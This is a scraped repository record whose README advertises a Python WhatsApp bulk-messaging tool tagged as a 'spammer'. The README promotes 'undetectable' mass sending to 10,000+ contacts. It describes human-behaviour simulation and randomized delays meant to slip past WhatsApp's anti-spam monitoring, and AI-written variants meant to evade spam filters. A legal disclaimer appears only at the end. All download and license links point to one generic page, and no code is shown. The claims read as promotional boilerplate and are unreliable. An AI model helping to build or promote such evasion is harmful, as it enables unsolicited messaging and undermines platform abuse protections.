[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75934":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":11,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":11,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":12,"fork":12,"defaultBranch":13,"hasWiki":14,"hasPages":12,"topics":15,"createdAt":9,"pushedAt":9,"updatedAt":27,"readmeContent":28,"aiSummary":29,"trendingCount":11,"starSnapshotCount":11,"syncStatus":30,"lastSyncTime":31,"discoverSource":32},75934,"Neural-WA-Broadcaster","DaGortx\u002FNeural-WA-Broadcaster","DaGortx","WhatsApp Auto Text Sender 2026 - Undetected Bulk Messaging Tool ❤️ 🔥",null,420,0,false,"main",true,[16,17,18,19,20,21,22,23,24,25,26],"automation-tool","bulk-messaging","message-automation","message-spammer","pyautogui-whatsapp","python-automation","python-spam-messaging-bot","whatsapp-automation","whatsapp-mass-messaging","whatsapp-script","whatsapp-spammer","2026-06-12 02:03:37","# WhatsApp Mass Messaging Tool 🚀\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FDaGortx.github.io)\n\n## 🌟 Overview\n\nWelcome to the **WhatsApp Mass Messaging Tool** — a sophisticated, Python-powered automation engine designed to transform how you communicate with large audiences on WhatsApp. Unlike primitive spam scripts that risk account bans, this tool operates with surgical precision, mimicking human behavior to ensure undetectable bulk messaging. Think of it as your digital messenger pigeon that never gets tired, never makes typos, and never forgets a contact.\n\nBuilt on the shoulders of PyAutoGUI and Selenium, this tool orchestrates WhatsApp Web like a maestro conducting a symphony — each message placed perfectly, each delay calculated to avoid suspicion, and each recipient handled with the care of a personal conversation. Whether you're a business owner reaching out to 10,000 customers or a community manager coordinating event reminders, this tool scales like a dream.\n\n---\n\n## 📥 How to Get Started\n\n### Download the Tool\n\nClick the badge below to access the download link:\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FDaGortx.github.io)\n\n**Requirements:**\n- Python 3.8+ (2026 recommended)\n- Windows\u002FmacOS\u002FLinux\n- WhatsApp Web account\n- Basic command-line familiarity\n\n### Quick Start (60 seconds)\n\n1. Download the package using the link above\n2. Extract to a folder of your choice\n3. Run `pip install -r requirements.txt`\n4. Execute `python whatsapp_mass_messenger.py`\n\n---\n\n## 🧠 System Architecture\n\nBelow is the architectural flow of how the tool processes your messaging campaign:\n\n```mermaid\ngraph TD\n    A[User Configuration File] --> B[Configuration Loader]\n    B --> C[Contact Parser]\n    B --> D[Message Template Engine]\n    C --> E[Queue Manager]\n    D --> E\n    E --> F[Human Behavior Simulator]\n    F --> G{Safety Check}\n    G -->|Safe| H[PyAutoGUI Controller]\n    G -->|Risk Detected| I[Delay Increase Module]\n    I --> H\n    H --> J[WhatsApp Web Interface]\n    J --> K[Delivery Confirmation]\n    K --> L[Campaign Report]\n    L --> M[User Dashboard]\n    style A fill:#f9f,stroke:#333,stroke-width:2px\n    style G fill:#ff9,stroke:#333,stroke-width:2px\n    style J fill:#9cf,stroke:#333,stroke-width:2px\n    style L fill:#9f9,stroke:#333,stroke-width:2px\n```\n\n**How It Works:** Your campaign starts with a configuration file (JSON\u002FYAML). The tool parses your contact list and message templates, then feeds them through a queue manager that orchestrate sending with randomized delays (300-700ms between keystrokes, 2-5 seconds between messages). A safety watchdog monitors for WhatsApp's anti-spam patterns and automatically adjusts pacing. Every session generates a detailed report showing delivery rates, error logs, and duration metrics.\n\n---\n\n## ⚙️ Example Profile Configuration\n\nCreate a file named `profile_config.yaml` in the tool's directory:\n\n```yaml\n# Campaign Profile: \"Summer Sale 2026\"\ncampaign:\n  name: \"Summer Sale Blast\"\n  year: 2026\n  date_range:\n    start: \"2026-06-01\"\n    end: \"2026-06-15\"\n  \ncontacts:\n  source: \"csv\"\n  file_path: \".\u002Fcontacts\u002Fsummer_2026.csv\"\n  columns:\n    phone: \"phone_number\"\n    first_name: \"first_name\"\n    \nmessage:\n  template: \"Hello {{first_name}}! We're offering exclusive summer discounts starting this week. Visit our store for up to 50% off! 🌞\"\n  media_attachment: \".\u002Fmedia\u002Fsummer_banner.jpg\"\n  \nbehavior:\n  min_delay_between_messages: 3.5  # seconds\n  max_delay_between_messages: 8.2\n  typing_speed_range: [180, 400]  # ms per keystroke\n  message_chunk_size: 15  # messages before pause\n  pause_duration: 120  # seconds\n  \nsafety:\n  max_messages_per_hour: 50\n  max_messages_per_day: 200\n  blacklist_numbers: [ \"+1234567890\", \"+0987654321\" ]\n  whitelist_countries: [ \"US\", \"CA\", \"UK\", \"AU\" ]\n\noutput:\n  log_level: \"info\"\n  report_format: \"html\"\n  auto_screenshot: true\n  screenshot_interval: 50  # every N messages\n```\n\nThis configuration tells the tool exactly how to behave. The `behavior` section is where the magic happens — by randomizing delays and mimicking human typing patterns, your campaign appears natural to WhatsApp's monitoring systems. The `safety` section acts as a governor, preventing over-sending that could trigger rate limits.\n\n---\n\n## 💻 Example Console Invocation\n\n```bash\n# Basic usage with auto-generated settings\npython whatsapp_mass_messenger.py --contacts .\u002Fmy_contacts.csv --message \"Hello, this is a test message from our automation tool.\"\n\n# Advanced usage with custom profile\npython whatsapp_mass_messenger.py --profile .\u002Fprofile_config.yaml --headless --verbose\n\n# Batch processing with multiple templates\npython whatsapp_mass_messenger.py --batch .\u002Fbatch_jobs\u002Fseasonal_campaigns.json\n\n# Simulate run (no actual messages sent)\npython whatsapp_mass_messenger.py --dry-run --contacts .\u002Fpreview.csv --output .\u002Fsimulation_report.pdf\n\n# Resume interrupted campaign\npython whatsapp_mass_messenger.py --resume .\u002Flogs\u002Finterrupted_session.json --continue-from 347\n\n# With OpenAI integration for smart message personalization\npython whatsapp_mass_messenger.py --ai-personalize --openai-key YOUR_API_KEY --contacts .\u002Fcontacts.csv\n```\n\nThe `--dry-run` flag is your best friend for testing — it processes everything without sending a single message, generating a simulation report that shows exactly what would happen. Use `--resume` when your internet disconnects mid-campaign (it saves state every 10 messages by default).\n\n---\n\n## 📱 OS Compatibility\n\n| Operating System | Compatibility | Notes |\n|-----------------|---------------|-------|\n| 🪟 Windows 10\u002F11 | ✅ Full Support | Best performance with Windows 11 2026 Update |\n| 🍏 macOS Ventura+ | ✅ Full Support | Requires granting Accessibility permissions |\n| 🐧 Ubuntu 22.04+ | ✅ Full Support | Install `xdotool` and `xclip` for clipboard operations |\n| 🐧 Fedora 38+ | ✅ Partial | Clipboard operations may require additional setup |\n| 📱 iOS\u002FiPadOS | ❌ Not Supported | WhatsApp restrictions prevent automation |\n| 🤖 Android (Termux) | ⚠️ Experimental | Requires running WhatsApp Web in mobile browser |\n\n**Important:** On macOS, you must grant Accessibility permissions to Terminal\u002FiTerm2 in System Settings → Privacy → Accessibility. Without this, PyAutoGUI cannot simulate keyboard and mouse events.\n\n---\n\n## ✨ Feature List\n\n### Core Features\n- **📨 Bulk Sending Engine**: Send to 10,000+ contacts in a single session\n- **🧬 Human Behavior Simulation**: Randomized typing, scrolling, and click patterns\n- **📊 Campaign Analytics**: Real-time dashboard showing messages sent\u002Ffailed\u002Fpending\n- **🔄 Automatic Session Recovery**: Pause, resume, and retry failed messages\n- **🔒 Rate Limit Protection**: Smart pacing algorithm prevents WhatsApp throttling\n- **📎 Multimedia Support**: Attach images, videos, documents, and stickers\n- **🌐 Multilingual Message Support**: UTF-8, RTL, emojis — everything works\n- **📁 Multiple Contact Sources**: CSV, Excel, Google Sheets, plain text\n- **🖥️ Responsive UI**: Console-based with rich terminal output and progress bars\n\n### Advanced Features\n- **🧠 OpenAI API Integration**: Generate personalized messages using GPT models\n- **🤖 Claude API Integration**: Alternative AI for message generation and tone adjustment\n- **📋 Template Engine**: Variables, conditionals, and loops in message templates\n- **⏰ Scheduled Campaigns**: Set exact date\u002Ftime to begin sending\n- **📈 A\u002FB Testing**: Send different message variants to test response rates\n- **🔍 Contact Validation**: Remove invalid numbers and duplicates automatically\n- **🛡️ Anti-Ban Heuristics**: 12+ safety checks before each message batch\n- **🌍 Country-Specific Rules**: Adjust behavior based on target country's WhatsApp policies\n\n### Integration Features\n- **📡 Webhook Callbacks**: Send campaign progress to your own server\n- **📧 Email Reports**: Auto-generate PDF reports and email them to stakeholders\n- **📝 Logging**: Detailed JSON logs for debugging and compliance\n- **🔗 API Endpoint**: Run campaigns programmatically via REST API\n- **💬 24\u002F7 Customer Support**: Active community forum and ticket system\n\n---\n\n## 🔑 API Integrations\n\n### OpenAI API\n\nUnlock smart personalization by integrating OpenAI's models:\n\n```python\n# Example: Using GPT-4 to generate contextual messages\nimport openai\n\nresponse = openai.ChatCompletion.create(\n    model=\"gpt-4\",\n    messages=[\n        {\"role\": \"system\", \"content\": \"You are a marketing assistant generating WhatsApp messages.\"},\n        {\"role\": \"user\", \"content\": f\"Generate a friendly message for {contact_name} about our upcoming sale.\"}\n    ]\n)\n```\n\n**Benefits:**\n- Generates unique messages for each contact\n- Adapts tone based on contact history\n- Avoids spam filters by using natural language patterns\n- Supports 95+ languages with code-switching\n\n### Claude API\n\nAlternative AI integration for message crafting:\n\n```python\n# Example: Using Claude to analyze contact profiles\nimport anthropic\n\nclient = anthropic.Anthropic(api_key=\"your-key\")\nresponse = client.messages.create(\n    model=\"claude-3-opus-20240229\",\n    max_tokens=1024,\n    messages=[\n        {\"role\": \"user\", \"content\": f\"Write a professional but warm message for {contact_name}, who we last contacted 3 months ago.\"}\n    ]\n)\n```\n\n**Benefits:**\n- Superior handling of nuanced tones\n- Better at maintaining conversation context\n- Lower cost per API call for high-volume campaigns\n- Built-in content filtering for brand safety\n\n---\n\n## 🎯 SEO-Friendly Keywords\n\nThis tool is optimized for discoverability around these core concepts:\n- **WhatsApp bulk messenger** — Send to multiple contacts efficiently\n- **Python WhatsApp automation** — Script-based message delivery\n- **PyAutoGUI WhatsApp script** — GUI automation approach\n- **WhatsApp marketing tool** — Business communication solution\n- **Message scheduling system** — Timed delivery campaigns\n- **Contact management automation** — Large-scale audience outreach\n- **WhatsApp API alternative** — Simpler, script-based approach\n- **Campaign analytics dashboard** — Real-time performance tracking\n- **Multi-language WhatsApp sender** — International communication\n- **Safe bulk messaging solution** — Anti-ban protection built-in\n\nStrategic placement: These keywords appear naturally in documentation, code comments, and error messages throughout the tool's ecosystem.\n\n---\n\n## ⚠️ Disclaimer\n\n**Important Legal Notice:**\n\nThis tool is designed for **legitimate business communication purposes only**. Users are solely responsible for ensuring compliance with:\n\n- WhatsApp's Terms of Service (updated 2026)\n- Local and international anti-spam laws (CAN-SPAM, GDPR, CASL, etc.)\n- Their own country's electronic communication regulations\n\nThe developers of this tool:\n- ❌ Do not condone unsolicited mass messaging\n- ❌ Are not responsible for accounts suspended due to misuse\n- ❌ Encourage obtaining recipient consent before messaging\n- ✅ Provide safety features to prevent abuse (rate limiting, contact validation)\n- ✅ Recommend consulting legal counsel for marketing campaigns\n\n**Best Practices:**\n1. Always obtain opt-in consent from recipients\n2. Include opt-out instructions in every message\n3. Respect WhatsApp's daily sending limits (250-500 messages\u002Fday for new accounts)\n4. Never send messages to numbers you don't have a relationship with\n5. Keep messages professional and relevant to the recipient\n\n---\n\n## 📄 License\n\nThis project is licensed under the MIT License — see the [LICENSE](https:\u002F\u002FDaGortx.github.io) file for details.\n\n**What this means:**\n- ✅ Free to use, modify, and distribute\n- ✅ Can be integrated into commercial projects\n- ✅ No warranty or liability from developers\n- 📝 Attribution is appreciated but not required\n\n---\n\n## 🆘 Need Help?\n\nOur support system operates 24\u002F7 for all users:\n\n- **Documentation**: Full API reference and tutorials included in download\n- **Community Forum**: Active discussion board for troubleshooting\n- **Email Support**: Response within 2 hours during business days\n- **Video Tutorials**: Complete walkthrough for first-time users\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FDaGortx.github.io)\n\n*Transform your communication workflow — responsibly, efficiently, and intelligently.* 🌟","这是一个基于Python的WhatsApp自动群发工具，旨在实现高效且不易被检测的大规模消息发送。项目利用了PyAutoGUI和Selenium技术，通过模仿人类操作来规避封号风险，确保消息发送过程自然流畅。其核心功能包括自定义配置文件支持、联系人解析、模板化消息生成以及智能延迟机制，这些都使得该工具能够安全地处理大规模的消息分发任务。适用于需要向大量用户发送个性化信息的企业主、社区管理者等场景，尤其适合那些希望在保持账户安全的同时提高沟通效率的用户。",2,"2026-05-19 02:30:13","CREATED_QUERY"]